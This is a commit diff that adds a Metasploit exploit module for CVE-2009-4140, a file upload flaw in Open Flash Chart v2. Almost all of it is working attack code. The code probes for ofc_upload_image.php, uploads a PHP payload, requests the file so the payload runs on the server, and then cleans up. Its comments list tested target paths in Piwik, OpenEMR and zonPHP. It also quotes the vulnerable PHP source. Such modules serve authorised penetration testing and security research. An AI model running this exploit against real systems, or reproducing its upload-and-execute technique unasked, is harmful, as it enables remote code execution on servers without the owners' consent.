Add Open Flash Chart v2 Arbitrary File Upload exploit

modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb

@@ -0,0 +1,157 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Open Flash Chart v2 Arbitrary File Upload",
+      'Description'    => %q{
+          This module exploits a file upload vulnerability found in Open Flash
+        Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file
+        in order to upload and execute malicious PHP files.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Braeden Thomas', # Initial discovery + Piwik PoC
+          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # OpenEMR PoC
+          'Halim Cruzito', # zonPHP PoC
+          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
+        ],
+      'References'     =>
+        [
+          ['BID',   '37314'],
+          ['CVE',   '2009-4140'],
+          ['OSVDB', '59051'],
+          ['EDB',   '10532']
+        ],
+      'Payload'        =>
+        {
+            'Space'       => 8190, # Just a big value, injection on HTTP POST
+            'DisableNops' => true,
+            'BadChars'    => "\x00"
+        },
+      'Arch'           => ARCH_PHP,
+      'Platform'       => 'php',
+      'Targets'        =>
+        [
+          # Tested on:
+          # * open-flash-chart v2-Lug-Wyrm-Charmer
+          #   set TARGETURI /php-ofc-library/
+          # * open-flash-chart v2-beta-1
+          #   set TARGETURI /php-ofc-library/
+          # * zonPHP v2.25
+          #   set TARGETURI /zonPHPv225/ofc/
+          # * Piwik v0.4.3
+          #   set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/
+          # * OpenEMR v4.1.1
+          #   set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/
+          [ 'Generic (PHP Payload)', {} ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Dec 14 2009',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/'])
+        ], self.class)
+  end
+
+  #
+  # Clean up
+  #
+  def on_new_session(client)
+    print_warning("#{peer} - Deleting #{@fname}")
+    if client.type == "meterpreter"
+      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+      client.fs.file.rm("#{@fname}")
+    else
+      client.shell_command_token("rm #{@fname}")
+    end
+  end
+
+  #
+  # Check for ofc_upload_image.php
+  #
+  def check
+    print_status("#{peer} - Sending check")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(target_uri.path, "ofc_upload_image.php"),
+    })
+    if not res
+      print_error("#{peer} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    elsif res.code.to_i == 404
+      print_error("#{peer} - No ofc_upload_image.php found")
+    elsif res and res.code == 200 and res.body =~ /Saving your image to/
+      vprint_status("#{peer} - Found ofc_upload_image.php")
+      return Exploit::CheckCode::Detected
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+
+    # Upload
+    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
+    print_status("#{peer} - Uploading '#{@fname}' (#{payload.encoded.length} bytes)...")
+    res = send_request_cgi({
+      'method'   => 'POST',
+      'uri'      => normalize_uri(target_uri.path, 'ofc_upload_image.php'),
+      'headers'  => { 'Content-Type' => nil },
+      'vars_get' => { 'name' => "#{@fname}" },
+      'data'     => "<?php #{payload.encoded} ?>"
+    })
+    if not res
+      fail_with(Failure::Unknown,  "#{peer} - Request timed out while uploading")
+    elsif res.code.to_i == 404
+      fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found")
+    elsif res.body =~ /can't write file/
+      fail_with(Failure::Unknown,  "#{peer} - Unable to write '#{@fname}'")
+    elsif res.body =~ /Saving your image to: (.+)#{@fname}/
+      path = $1
+      print_status("#{peer} - Executing '#{path}#{@fname}'")
+    else
+      fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
+    end
+
+    # Execute
+    res = send_request_raw({
+      'uri' => normalize_uri(target_uri.path, path, @fname)
+    })
+    if res and res.code == 404
+      fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")
+    end
+    register_files_for_cleanup(@fname)
+  end
+end
+
+#
+# Source
+#
+=begin ofc_upload_image.php
+20-// default path for the image to be stored //
+21-$default_path = '../tmp-upload-images/';
+
+23-if (!file_exists($default_path)) mkdir($default_path, 0777, true);
+
+25-// full path to the saved image including filename //
+26-$destination = $default_path . basename( $_GET[ 'name' ] );
+
+28-echo 'Saving your image to: '. $destination;
+
+39-$jfh = fopen($destination, 'w') or die("can't open file");
+40-fwrite($jfh, $HTTP_RAW_POST_DATA);
+41-fclose($jfh);
+=end